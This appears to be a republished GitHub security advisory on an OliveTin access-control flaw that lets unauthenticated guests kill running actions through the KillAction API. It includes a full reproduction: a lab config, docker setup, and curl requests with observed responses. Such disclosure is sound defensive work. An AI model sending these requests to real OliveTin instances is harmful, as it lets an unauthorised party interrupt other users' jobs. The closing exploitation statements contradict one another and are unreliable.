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GHSA-4fqm-6fmh-82mq
No affected components available
Summary
OliveTin allows an unauthenticated guest to terminate running actions through KillAction even when authRequireGuestsToLogin: true is enabled. In the tested release (3000.10.2), guests are correctly blocked from dashboard access, but an still call the KillAction RPC directly and successfully stop a running action. This is a broken access control issue that causes unauthorized denial of service against legitimate action executions.
Details
The issue is caused by inconsistent authorization enforcement between dashboard access and action-control RPCs.
KillAction() authenticates the caller and applies only the per-action kill ACL check:
- service/internal/api/api.go:62
However, it does not enforce the guest login requirement. The guest/login gate exists separately in:
- service/internal/api/api.go:474
That gate is used by dashboard-style methods, but not by KillAction.
In addition, when authRequireGuestsToLogin is enabled, config sanitization disables guest view, exec, and logs permissions, but leaves kill unchanged:
- service/internal/config/sanitize.go:160
Specifically:
- DefaultPermissions.View = false
- DefaultPermissions.Exec = false
- DefaultPermissions.Logs = false
- DefaultPermissions.Kill remains unchanged
As a result, in the default configuration path where Kill remains allowed, an unauthenticated guest user can still satisfy IsAllowedKill():
- service/internal/acl/acl.go:133
I validated this behavior on a clean 3000.10.2 setup:
- guests were denied access to GetDashboard
- an authenticated admin user started a long-running action
- an unauthenticated guest successfully called KillAction
- the action was terminated
This confirms a real authorization bypass affecting action termination.
PoC
Tested version:
3000.10.2
- Create a minimal config:
mkdir -p /tmp/olivetin-kill-bypass
cat > /tmp/olivetin-kill-bypass/config.yaml <<'YAML'
listenAddressSingleHTTPFrontend: 0.0.0.0:1337
logLevel: "DEBUG"
checkForUpdates: false
authRequireGuestsToLogin: true
authLocalUsers:
enabled: true
users:
- username: "admin"
usergroup: "admin"
password: "$argon2id$v=19$m=65536,t=4,p=2$JLk85PhCL7RPboAlsYO4Lw$bQj6uhKnBpisbGRhe271cEt59S9EqYrHKeCfykypbZ4"
accessControlLists:
- name: adminall
addToEveryAction: true
matchUsernames: ["admin"]
permissions:
view: true
exec: true
logs: true
kill: true
actions:
- title: long-running
id: long-running
shell: sleep 20
timeout: 30
YAML
- Start OliveTin 3000.10.2:
docker rm -f olivetin-kill-bypass 2>/dev/null || true
docker run -d --name olivetin-kill-bypass \
-p 1347:1337 \
-v /tmp/olivetin-kill-bypass:/config:ro \
ghcr.io/olivetin/olivetin:3000.10.2
- Confirm the server is ready:
curl -i http://127.0.0.1:1347/readyz
- Prove guests are blocked from dashboard access:
curl -i -X POST http://127.0.0.1:1347/api/GetDashboard \
-H 'Content-Type: application/json' \
--data '{"title":"default"}'
Observed response:
HTTP/1.1 403 Forbidden
{"code":"permission_denied","message":"guests are not allowed to access the dashboard"}
- Log in as admin:
curl -c /tmp/ot_admin_cookie.txt -i -X POST http://127.0.0.1:1347/api/LocalUserLogin \
-H 'Content-Type: application/json' \
--data '{"username":"admin","password":"SecretPass123!"}'
- Start a long-running action as admin:
curl -i -b /tmp/ot_admin_cookie.txt -X POST http://127.0.0.1:1347/api/StartAction \
-H 'Content-Type: application/json' \
--data '{"bindingId":"long-running","arguments":[],"uniqueTrackingId":"kill-hunt-1"}'
Observed response:
HTTP/1.1 200 OK
{"executionTrackingId":"kill-hunt-1"}
- Kill it as an unauthenticated guest:
curl -i -X POST http://127.0.0.1:1347/api/KillAction \
-H 'Content-Type: application/json' \
--data '{"executionTrackingId":"kill-hunt-1"}'
Observed response:
HTTP/1.1 200 OK
{"executionTrackingId":"kill-hunt-1","killed":true,"alreadyCompleted":false,"found":true}
- Confirm in container logs:
docker logs olivetin-kill-bypass 2>&1 | tail -n 120
Observed relevant lines:
Authenticated API request ... path="/olivetin.api.v1.OliveTinApiService/GetDashboard" ... username="guest"
Authenticated API request ... path="/olivetin.api.v1.OliveTinApiService/StartAction" ... username="admin"
Action started actionTitle="long-running"
Authenticated API request ... path="/olivetin.api.v1.OliveTinApiService/KillAction" ... username="guest"
Killing execution request by tracking ID: kill-hunt-1
Action finished actionTitle="long-running" exit="-1"
This proves:
- guests are denied dashboard access
- guests can still invoke KillAction
- the running action is successfully terminated by an unauthenticated user
Impact
This is an unauthenticated broken access control vulnerability resulting in denial of service.
An unauthenticated guest can:
- terminate active jobs started by legitimate users
- disrupt long-running administrative or operational workflows
- interfere with privileged actions without being allowed to log in
Who is impacted:
- OliveTin deployments with authRequireGuestsToLogin: true
- multi-user environments where actions may run for meaningful durations
- operational environments where stopping a running action can interrupt maintenance, deployment, backup, or service-control tasks
This issue does not require valid credentials, only knowledge of a live executionTrackingId. That still makes it a real and exploitable availability issue in environments where execution identifiers can be observed or predicted through adjacent leaks or shared operator knowledge.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the availability of the system.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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